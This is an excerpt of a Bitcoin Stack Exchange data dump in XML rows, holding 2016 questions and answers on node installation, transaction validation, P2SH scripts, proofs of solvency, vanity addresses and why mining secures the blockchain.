  <row Id="42936" PostTypeId="2" ParentId="11987" CreationDate="2016-02-16T19:43:21.490" Score="0" Body="&lt;p&gt;well the even more risky aspect of POS is simply losing funds due to EDIT bank run when  the stake prover signs multiple chains and all coin owners run for exits, coins loosing value due to dump when attacker's premine matures etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;these risks cannot be prevented even by following all best practices and keeping your machine 100% secure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: tl;dr this is why in POS, losing funds due keeping them online is a tiny tiny and trivial issue compared to other possible issues &lt;/p&gt;&#xA;" OwnerUserId="32091" LastActivityDate="2016-02-16T19:43:21.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42939" PostTypeId="1" AcceptedAnswerId="46831" CreationDate="2016-02-17T00:10:48.897" Score="1" ViewCount="83" Body="&lt;p&gt;I've been trying to find out whether any altcoin community has attempted a hardfork without consensus before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happened?&lt;br&gt;&#xA;Can you point me towards an account or analysis of such an attempt?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2016-08-02T02:31:41.693" Title="Are there any altcoins that have tried a contentious hardfork?" Tags="|altcoin|blockchain-fork|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42942" PostTypeId="1" CreationDate="2016-02-17T04:27:02.603" Score="1" ViewCount="398" Body="&lt;p&gt;I have often seen articles claiming bitcoin's demise is iminent but yet others state the blockchain technology that powers it is being considered for other uses. What features make it attractive for those purposes versus alternatives?&lt;/p&gt;&#xA;" OwnerUserId="19032" LastActivityDate="2016-02-18T04:36:58.483" Title="What makes blockchain technology so attractive to non cryptocurrency applications?" Tags="|blockchain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42943" PostTypeId="1" CreationDate="2016-02-17T08:57:09.450" Score="2" ViewCount="505" Body="&lt;p&gt;I've tried my best to follow the installation instructions for a headless Debian server found on &lt;a href=&quot;http://github.com/bitcoin&quot; rel=&quot;nofollow&quot;&gt;github.com/bitcoin&lt;/a&gt; and &lt;a href=&quot;http://bitcoin.org/en/full-node&quot; rel=&quot;nofollow&quot;&gt;bitcoin.org/en/full-node&lt;/a&gt;. However, I can not figure out if everything installed correctly. I don't know the right sanity checks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To install bitcoind I used wget to download the 0.11.2 tar/zip file from bitcoin.org. I installed all the dependencies through apt-get listed on github. I used wget to download Berkeley DB4.8 and used &quot;make install&quot; to presumably install db4.8. Finally, I used &quot;sudo install&quot; to add the bitcoind binary to &quot;/usr/local/bin&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can run bitcoind and interact with it using bitcoin-cli. However, how can I determine if the installation is truly a success? How can I verify that bitcoind is using Berkeley DB4.8? I have a suspicion something is off, because I could not find the bitcoin root. This instruction from github baffles me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd $BITCOIN_ROOT&#xA;./autogen.sh&#xA;./configure LDFLAGS=&quot;-L${BDB_PREFIX}/lib/&quot; CPPFLAGS=&quot;-I${BDB_PREFIX}/include/&quot; # (other args...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I cannot use autogen.sh, because I cannot find it. Where is the $BITCOIN_ROOT? Where is the configure file? I cannot find this either. I am afraid to use the wallet and lose BTC.&lt;/p&gt;&#xA;" OwnerUserId="33090" LastActivityDate="2017-02-12T23:14:20.420" Title="Help verifying bitcoind &quot;full node&quot; installation on Debian box" Tags="|installation|full-node|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42945" PostTypeId="1" CreationDate="2016-02-17T12:32:31.307" Score="2" ViewCount="566" Body="&lt;p&gt;I know that the blockchain technology works so well, because everybody has basically a copy of the last ledger.&lt;/p&gt;&#xA;&lt;p&gt;Therefore, if a transaction happens, everybody inside the network has to &amp;quot;approve&amp;quot; the transaction to do it.&lt;/p&gt;&#xA;&lt;p&gt;These other participants are then seen as trusted sources.&lt;/p&gt;&#xA;&lt;p&gt;However, what makes them into trusted sources? Let's say there are only three participants, two make a transaction and one has to decide if the transaction is acceptable or not (does the clearing). What makes him a trusted source?&lt;/p&gt;&#xA;&lt;p&gt;Are these thoughts right or where am I wrong?&lt;/p&gt;&#xA;&lt;p&gt;I appreciate your replies!&lt;/p&gt;&#xA;" OwnerUserId="33096" LastEditorUserId="5406" LastEditDate="2021-02-01T19:12:02.157" LastActivityDate="2021-02-01T19:12:02.157" Title="Why do nodes trust other nodes to approve their transactions?" Tags="|mining-theory|confirmations|transaction-verification|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="42947" PostTypeId="2" ParentId="42945" CreationDate="2016-02-17T16:36:27.327" Score="-3" Body="&lt;p&gt;First of all you need to understand that the use of Bitcoin is not controlled by anyone at all, therefor there is no way to check the integrity of anyone using the Bitcoin technology.&#xA;With that in mind one should always be cautious when making transactions.&#xA;People who make a lot of transactions succesfully are considered trustworthy (technically) but there is always a chance this will change.&#xA;It's actually the same as in real life, like when you mail-order something you rely on trust. The more people order from the same company the higher the trust will be but as with Bitcoin, that trust can be broken for many reasons.&#xA;The time we live in is truly a sick period in mankind's history. So many people try to scam each other any which way they can including governments, banks etc.&#xA;So in short : you can not trust anyone 100%, so forget about trust and be cautious when sending large amounts of bitcoins. If you need to make a big transaction to someone you don't know you should try and find some transaction history of that person. You could check the blockchain info for that persons transactions to get a more accurate estimate on how trustworthy that person might be.&#xA;I hope this answer clarified your questions.&lt;/p&gt;&#xA;" OwnerUserId="33020" LastActivityDate="2016-02-17T16:36:27.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42948" PostTypeId="2" ParentId="42945" CreationDate="2016-02-17T16:52:29.863" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;everybody inside the network has to &quot;approve&quot; the transaction to do it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think &quot;approve&quot; is not the best choice of words. They only check whether a transaction is valid or not, no approval is necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To explain with your example with three participants: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alice, Bob, and Charlie each have a copy of the blockchain. Alice wants to send bitcoins to Bob.&lt;br&gt;&#xA;Two conditions apply:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alice has to have sufficient bitcoins to fund the transaction.  &lt;/li&gt;&#xA;&lt;li&gt;The transaction has to have a valid signature.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When Alice broadcasts her transaction, everyone (Alice, Bob and Charlie) can check whether the money is available, because the transaction specifies which coins are being spent.&lt;br&gt;&#xA;Also, everyone can check whether the signature is valid because it can only be produced by the owner of said bitcoins. Each user by themselves will immediately dismiss a transaction if the signature is invalid or when there are insufficient funds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, whenever anyone mines a block, it will include a set of valid transactions to confirm them. When found, the block is broadcasted to the network. Everyone checks that the block is valid and that it only contains valid transactions. Since everyone builds the database from the same blockchain, they all end up having the same state in the database, and therefore will be in agreement which balances are available for spending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In other words, you can trust your own copy of the blockchain, because you checked every piece of it for validity.&lt;/strong&gt; However, others may not. Yet, nobody else has to trust your copy of the blockchain, because you can send them the pieces so they can build their own and check the work themselves.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-18T22:41:58.597" LastActivityDate="2016-02-18T22:41:58.597" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="42949" PostTypeId="2" ParentId="42920" CreationDate="2016-02-17T17:11:24.503" Score="-1" Body="&lt;p&gt;Yes he did !&#xA;Bitcoin is build in such a way that anyone can be a miner, effectively making the world population it's pool.&#xA;Also the people with knowledge (technical) will always be on top of it all as with everything in life.&#xA;If you somehow manage to use Bitcoin's source code as if it was selfmade then you probably be the boss of Bitcoin very soon until someone else comes up with something better...&lt;/p&gt;&#xA;" OwnerUserId="33020" LastActivityDate="2016-02-17T17:11:24.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42950" PostTypeId="2" ParentId="42273" CreationDate="2016-02-17T19:03:22.493" Score="1" Body="&lt;p&gt;Here is good guide (read comments too)&lt;br&gt;&#xA;&lt;a href=&quot;https://www.howtoforge.com/tutorial/how-to-compile-and-install-bitcoin-core-on-debian-wheezy/&quot; rel=&quot;nofollow&quot;&gt;https://www.howtoforge.com/tutorial/how-to-compile-and-install-bitcoin-core-on-debian-wheezy/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also you can use bdb 5.1 (./configure --with-incompatible-bdb) if you don't have a plan to move bitcoin data to/from other computer&lt;/p&gt;&#xA;" OwnerUserId="31308" LastEditorUserId="2306" LastEditDate="2016-02-18T19:18:52.233" LastActivityDate="2016-02-18T19:18:52.233" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="42951" PostTypeId="2" ParentId="42945" CreationDate="2016-02-17T21:41:34.957" Score="6" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I know that the blockchain technologie works so well, because&#xA;  everybody has basically a copy of the last ledger.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, every full bitcoin node has a copy of the blockchain (aka ledger).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Therefore, if a transaction happens, everybody inside the network has&#xA;  to &quot;approve&quot; the transaction to do it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Correct, every transaction is propagated to all bitcoin nodes and it is validated by each one of them. Some of those nodes also do mining and they will include this transaction to a block. If they mine the block successfully (before any others mine their blocks successfully) they propagate their block to all the other bitcoin nodes which validate the block and all the transactions within. Thus, transactions are validated a second time.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;These other participants are then seen as trusted sources.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;However, what makes them to trusted sources. Let`s say there are only&#xA;  three participants, two make a transaction and one has to decide if&#xA;  the transaction is ok or not(does the clearing). What makes him a&#xA;  trusted source?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No one is considered a trusted source. Bitcoin enables trustless transactions. If we have 1000 bitcoin nodes in the network and user A makes a transaction that sends some coins to user B all 1000 bitcoin nodes will validate the transaction. Then, when the mined block is propagated all 1000 nodes will validate it again. Note, that users A and B may or may not run a full bitcoin node themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully, that clarifies things a bit.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-02-17T21:41:34.957" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="42952" PostTypeId="2" ParentId="42943" CreationDate="2016-02-17T21:52:30.107" Score="1" Body="&lt;p&gt;autogen.sh located in bitcoin source root. To use it you should have  pkg-config libtool installed.&lt;/p&gt;&#xA;" OwnerUserId="31308" LastEditorUserId="31308" LastEditDate="2016-02-18T11:06:45.600" LastActivityDate="2016-02-18T11:06:45.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42953" PostTypeId="2" ParentId="37060" CreationDate="2016-02-17T23:03:27.807" Score="1" Body="&lt;p&gt;There is no widely agreed upon protocol for proving solvency in Bitcoin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first successful protocol describing proofs of solvency is due to Greg Maxwell who described a Merkle-tree-based solution for proving solvency. Maxwell's solution provides proofs logarithmic in size with respect to the number of creditors. Maxwell's protocol &lt;a href=&quot;https://iwilcox.me.uk/2014/proving-bitcoin-reserves&quot; rel=&quot;nofollow&quot;&gt;is extensively described by Zak Wilcox&lt;/a&gt;. It has the advantage of being easy to understand and to implement. Unfortunately, Maxwell's protocol leaks the number and size of creditor accounts as well as the total liabilities of the exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative mechanism of using a trusted auditor has been applied by &lt;a href=&quot;http://www.coindesk.com/bitstamp-passes-audit-overseen-bitcoin-developer-mike-hearn/&quot; rel=&quot;nofollow&quot;&gt;Mike Hearn on Bitstamp&lt;/a&gt;, &lt;a href=&quot;http://www.coindesk.com/krakens-audit-proves-holds-100-bitcoins-reserve/&quot; rel=&quot;nofollow&quot;&gt;Stefan Thomas on Kraken&lt;/a&gt;, &lt;a href=&quot;https://antonopoulos.com/coinbase-review/&quot; rel=&quot;nofollow&quot;&gt;Antonopoulos on Coinbase&lt;/a&gt; and others. These verifications rely on centralized trusted third parties and cannot protect against collusion between the services and the auditors, a property generally undesired in decentralized systems such as bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above problem is addressed by &lt;a href=&quot;http://www.jbonneau.com/doc/DBBCB15-CCS-provisions.pdf&quot; rel=&quot;nofollow&quot;&gt;Benedict Bünz, etc. on their provisions paper&lt;/a&gt; and &lt;a href=&quot;https://github.com/bbuenz/provisions&quot; rel=&quot;nofollow&quot;&gt;an implementation is provided&lt;/a&gt;. Unfortunately, their proofs are somewhat more convoluted and require slightly more advanced cryptographic tools (specifically zero-knowledge proofs of knowledge). However, they provide trustless verifiability without sacrificing privacy of total funds or account sizes. However, these new developments are not currently applicable to the current bitcoin blockchain, as provisions only works against pay-to-pubkey UTXOs, not pay-to-pubkey-hash UTXOs which are now standard on bitcoin. Pay-to-pubkey-hash transactions can be used against addresses that have been reused or for which the public keys are known. However, current best practices mandate no address reuse, so this requirement is not perfect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the provisions paper, a zk-SNARKS proof system which can provide for p2pkh transactions is an interesting research problem with ongoing research. It remains to see if it can be implemented efficiently in a way that proofs are concise and quick. The problem of a trusted setup required by SNARKS must also be addressed by such an implementation.&lt;/p&gt;&#xA;" OwnerUserId="1587" LastActivityDate="2016-02-17T23:03:27.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42954" PostTypeId="2" ParentId="40843" CreationDate="2016-02-17T23:14:46.857" Score="4" Body="&lt;p&gt;Curently, with around 5000 nodes, a message shouldn't take longer than about 15 seconds to propagate. Typically, it's faster.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Messages are forwarded if the Proof of Work is sufficient. There is no signature verification on forwarding, since only the recipient of the message can verify that. Nowadays, PyBitmessage runs the decryption attempts in a separate thread, therefore forwarding and decryption run in parallel.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some versions have different delays in forwarding depending on what type of object it is, some do not have delays. But this has nothing to do with decryption attempts, it is an attempt to mitigate timing attacks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For propagation size does matter, because it takes longer to transfer, however I don't think the difference is that big, in particular if you're on a fast connection. For decryption, the data itself is encrypted with AES-256-CBC, and that's pretty fast, on my laptop I get like 100MB/s, so you shouldn't see a big difference.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Latency does influence the speed a bit, but some network operations are asynchronous, at least in PyBitmessage, so from practical point of view it's not a big deal.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I don't understand this. It takes a bit longer if there are more nodes in the network, but on the other hand if they are well connected, it's faster. PyBitmessage will by default attempt to maintain 8 outbound connections, and refuse incoming if it has more than 220 total connections.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Recently a new stats website was launched: &lt;a href=&quot;https://beamstat.com/&quot; rel=&quot;nofollow&quot;&gt;https://beamstat.com/&lt;/a&gt;, which works nicely, just the node count is incomplete.&lt;/p&gt;&#xA;" OwnerUserId="3369" LastActivityDate="2016-02-17T23:14:46.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42955" PostTypeId="1" CreationDate="2016-02-17T23:49:04.270" Score="5" ViewCount="497" Body="&lt;p&gt;I understand that when I'm doing a transaction, I'm locking those bitcoins to whoever provide the solution to a script that has the hash I posted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, where does the hash get written? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would assume that it is not in the blockchain, since this payment system is done so we can save space. I can imagine that the nodes store a database of hashes of scripts previously written on the blockchain, so when they see a script hash, they can find the correct script for it. Another option was that the recipient would provide the script at the time of the transaction, but then the other nodes would not be able to verify the script's end result, because the script would not be on the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="33112" LastEditorUserId="5406" LastEditDate="2016-02-21T11:34:27.253" LastActivityDate="2016-02-21T11:34:27.253" Title="Where the P2SH script gets written?" Tags="|script|transaction-verification|p2sh|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42956" PostTypeId="2" ParentId="42955" CreationDate="2016-02-18T01:44:19.883" Score="8" Body="&lt;p&gt;The script is maintained by the intended recipient; he is the one responsible to keep it and not to lose it. The nodes do not store any database of the scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script is provided by the spender upon spending the p2sh as part of the scriptSig data. For the exact specification of how this data is structured, &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0016.mediawiki&quot;&gt;see BIP 16 by Gavin Andresen&lt;/a&gt;. This allows the other nodes to validate that the script was redeemed correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of p2sh is not to limit the data on the blockchain – that remains the same. It is, as per the BIP, to &quot;move the responsibility for supplying the conditions to redeem a transaction from the sender of the funds to the redeemer&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1587" LastActivityDate="2016-02-18T01:44:19.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42957" PostTypeId="2" ParentId="9320" CreationDate="2016-02-18T01:56:54.810" Score="4" Body="&lt;p&gt;While you cannot use the bitcoin mining power itself to crack selected passwords, bitcoin makes it for the first time possible to encode and ensure monetary rewards for password cracking through self-enforcing contracts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you could lock up funds in a transaction that are redeemable only provided that a specific puzzle has been cracked. This can be written as a bitcoin script (scriptPubKey) which takes as input a candidate solution to the puzzle (as scriptSig) and checks that it is a solution. In formal languages lingo, given a language &lt;code&gt;L = { x: R(x, w) = 1 }&lt;/code&gt; such that &lt;code&gt;R&lt;/code&gt; is polynomially computable (and so &lt;code&gt;R&lt;/code&gt; being in &lt;code&gt;P&lt;/code&gt; and &lt;code&gt;L&lt;/code&gt; being in &lt;code&gt;NP&lt;/code&gt;), you can solve the search problem of finding a &lt;code&gt;w&lt;/code&gt; given an &lt;code&gt;x&lt;/code&gt; in &lt;code&gt;L&lt;/code&gt; by encoding &lt;code&gt;R&lt;/code&gt; as a scriptPubKey and expecting a &lt;code&gt;w&lt;/code&gt; as a scriptSig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, imagine you wish to find the pre-image of a given SHA256 hash. Your bitcoin redeem script could then look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def spend(witness):&#xA;    if SHA256(witness) == 6fe28c0...00000:&#xA;        return True&#xA;    return False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Indeed, the only way to spend this script is by providing a witness that cracks this problem. In formal languages lingo, in this case &lt;code&gt;x = 6fe28c0...00000&lt;/code&gt; and &lt;code&gt;w&lt;/code&gt; is the witness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coding it in the bitcoin script language, we get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_HASH256&#xA;6fe28c0ab6f1b372c1a6a246ae63f74f931e8365e15a089c68d6190000000000&#xA;OP_EQUAL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In fact, &lt;a href=&quot;https://blockchain.info/tx/a4bfa8ab6435ae5f25dae9d89e4eb67dfa94283ca751f393c1ddc5a837bbc31b&quot; rel=&quot;nofollow&quot;&gt;this very transaction was published on the bitcoin network&lt;/a&gt; four years ago and paid 1 BTC to have this puzzle solved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly, notice that if the puzzle remains unsolved, the money is forever lost – that money is solely dedicated to the puzzle solver, and if there is no one, then no one can get the money. As a sidenode, notice that this kind of transaction is not secure, as the puzzle solver will have to disclose the scriptSig in order to spend the tx – meaning that anyone can double-spend the same amount immediately before the original tx gets confirmed. There are ways to guard against such attacks by performing more complicated schemata, such as revealing the secret in a two-block process possible in Ethereum.&lt;/p&gt;&#xA;" OwnerUserId="1587" LastActivityDate="2016-02-18T01:56:54.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42958" PostTypeId="2" ParentId="42942" CreationDate="2016-02-18T03:56:36.580" Score="1" Body="&lt;p&gt;The tech that most institutions get excited about is cryptography. Yes, it's been around for 20+ years, but most of the places that are excited about it (banks, mostly), are running on tech that's from the 1970's or older. The idea of a permissioned ledger, where only the holder of the private key can &quot;do&quot; something with a digital asset is pretty much brand new to them and for that reason alone, exciting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For most tech companies, this isn't a big deal, but when you're not a tech company, small innovations like this can mean a lot. Most people that scoff at blockchain being a technology simply don't understand how backwards, or technologically primitive most of the computer systems in the world are. Applying cryptography to databases is a new and exciting concept to them.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-02-18T03:56:36.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42959" PostTypeId="2" ParentId="42942" CreationDate="2016-02-18T04:36:58.483" Score="2" Body="&lt;p&gt;There are two basic categories of applications for the type of distributed ledger technology behind Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first category are public systems like Bitcoin, Ethereum, and Ripple. These are systems with no central authority that provide open access to the world. The blockchain technology ensures eventual agreement on the state of the system so that changes in that state (whether they represent payments or something else) can be agreed upon. Anyone can participate in these networks so long as they follow the rules, with the rules being enforced by the software ignoring people who violate those rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second category are private/permissioned systems. These are systems that don't require a central authority for their day-to-day operation. They are generally run by a group of interested parties which formally manages group membership. The blockchain technology gives them data replication. Byzantine fault tolerance (protection even if some of the participants are malicious), and eventual (typically very rapid) agreement on the state of the network. The cryptography also ensures that the past is tamperproof and provable.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2016-02-18T04:36:58.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42961" PostTypeId="1" AcceptedAnswerId="42968" CreationDate="2016-02-18T13:52:46.673" Score="7" ViewCount="2555" Body="&lt;p&gt;I'd be interested to know if the bitcoin network has ever been down. By &quot;down&quot; I mean that a client would not be able to synchronize with the network to obtain data like the txs in the mempool or recently mined blocks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess would be that this would be extremely rare due to the decentralized architecture, but it'd be great to know for sure. If there have been downtimes, I'd be interested to know how frequent these have been and how long they have persisted.&lt;/p&gt;&#xA;" OwnerUserId="33126" LastEditorUserId="33126" LastEditDate="2016-02-18T16:20:49.560" LastActivityDate="2021-10-21T19:02:00.093" Title="Has the bitcoin network ever been &quot;down&quot;?" Tags="|blockchain|synchronization|decentralization|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42962" PostTypeId="1" CreationDate="2016-02-18T14:05:17.390" Score="2" ViewCount="1204" Body="&lt;p&gt;I want generate a unique Bitcoin address with &lt;code&gt;vanitygen&lt;/code&gt; that has both a given prefix and a given suffix: &#xA;  1Bit******************Bit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I be able to achieve that?&lt;/p&gt;&#xA;" OwnerUserId="33128" LastEditorUserId="5406" LastEditDate="2016-02-18T16:33:29.737" LastActivityDate="2016-02-18T18:10:18.257" Title="How can one generate a vanity Bitcoin address with both a given prefix and suffix?" Tags="|vanity-address|vanitygen|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42963" PostTypeId="2" ParentId="42961" CreationDate="2016-02-18T14:16:27.960" Score="3" Body="&lt;p&gt;Yes. In the very beginning of the Bitcoin project there were long gaps between blocks that suggest that no node was mining/online at all. E.g. between between Block 27 and 28 there was a 8h34 pause.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Block 27: 2009-01-10 06:56:13&lt;br&gt;&#xA;  Block 28: 2009-01-10 15:30:57&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would guess that in the later years, there was never a time when you wouldn't have been able to get blocks from another node, except if you had been disconnected from the Internet yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only likely possibility that I see today for nodes to be online but unable to synchronize with the blockchain would be if the internet were to be completely disconnected between continents or nations for a time, also known as netsplits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Silly thought: Even then, synchronization and confirmations could be achieved with largely increased latency when the blockchain data/transaction submissions would be transported via physical media e.g. pigeons with a USB stick. You shouldn't trust zero-confirmation transactions while being split-off, though. ;)&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="23207" LastEditDate="2016-02-18T22:32:11.083" LastActivityDate="2016-02-18T22:32:11.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42964" PostTypeId="2" ParentId="42962" CreationDate="2016-02-18T18:10:18.257" Score="4" Body="&lt;p&gt;Vanitygen has a regex option, for generating addresses that match an arbitrary regular expression.  I think that&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;vanitygen -r '^1Bit.*Bit$'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;would work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it will not be able to estimate the expected time that would be required.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2016-02-18T18:10:18.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42965" PostTypeId="1" CreationDate="2016-02-18T19:01:37.783" Score="2" ViewCount="195" Body="&lt;p&gt;If I build using --with-incompatible-bdb, will the resulting wallet be incompatible with the bitcoin core client from bitcoin.org? What if I'm using a &lt;em&gt;newer&lt;/em&gt; version?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2016-02-18T19:18:33.850" LastActivityDate="2021-01-28T06:01:35.247" Title="Do Berkley DB versions need to be the same?" Tags="|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42966" PostTypeId="1" CreationDate="2016-02-18T21:01:21.540" Score="1" ViewCount="809" Body="&lt;p&gt;As far as I understand it currently, when winning the &quot;lottery&quot; (mining) you can add a block, sum of transactions, to the blockchain. This block is in the first instance verified by all network users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT can`t a lottery winner also add a fraudulent block to the chain?&#xA;&lt;br&gt;&#xA;What does this lottery contribute to the validity of the chain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or in other words: How are miners approving a bitcoin transaction, besides adding it to the blockchain when they win? Potentially, they could also add a lot of &quot;sh**&quot; to the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="33096" LastEditorUserId="5406" LastEditorDisplayName="user21147" LastEditDate="2021-02-01T19:07:33.920" LastActivityDate="2021-02-01T19:07:33.920" Title="Why does the &quot;global lottery&quot; prove the validity of the blockchain?" Tags="|blockchain|mining-theory|proof-of-work|block-validity|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42967" PostTypeId="2" ParentId="42966" CreationDate="2016-02-18T21:25:23.347" Score="6" Body="&lt;p&gt;Miners do not prove validity. They solve the problem of needing to decide between two potentially conflicting but otherwise valid versions of history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rule that full nodes follows is that they accept the longest &lt;em&gt;valid&lt;/em&gt; block chain, where valid is defined by the network's consensus rules, and long is defined as having more mining work performed. If a miner produces a block that is invalid according to those rules (for example, it spends a coin without valid signature), full nodes will ignore the block and any block built on top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also lightweight nodes (&quot;SPV nodes&quot;) which do not verify validity at all, and will accept whatever block chain has most work. Their security however relies on the fact that blocks are expensive to produce, so a miner wouldn't create one that isn't accepted by full nodes.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-02-18T21:25:23.347" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
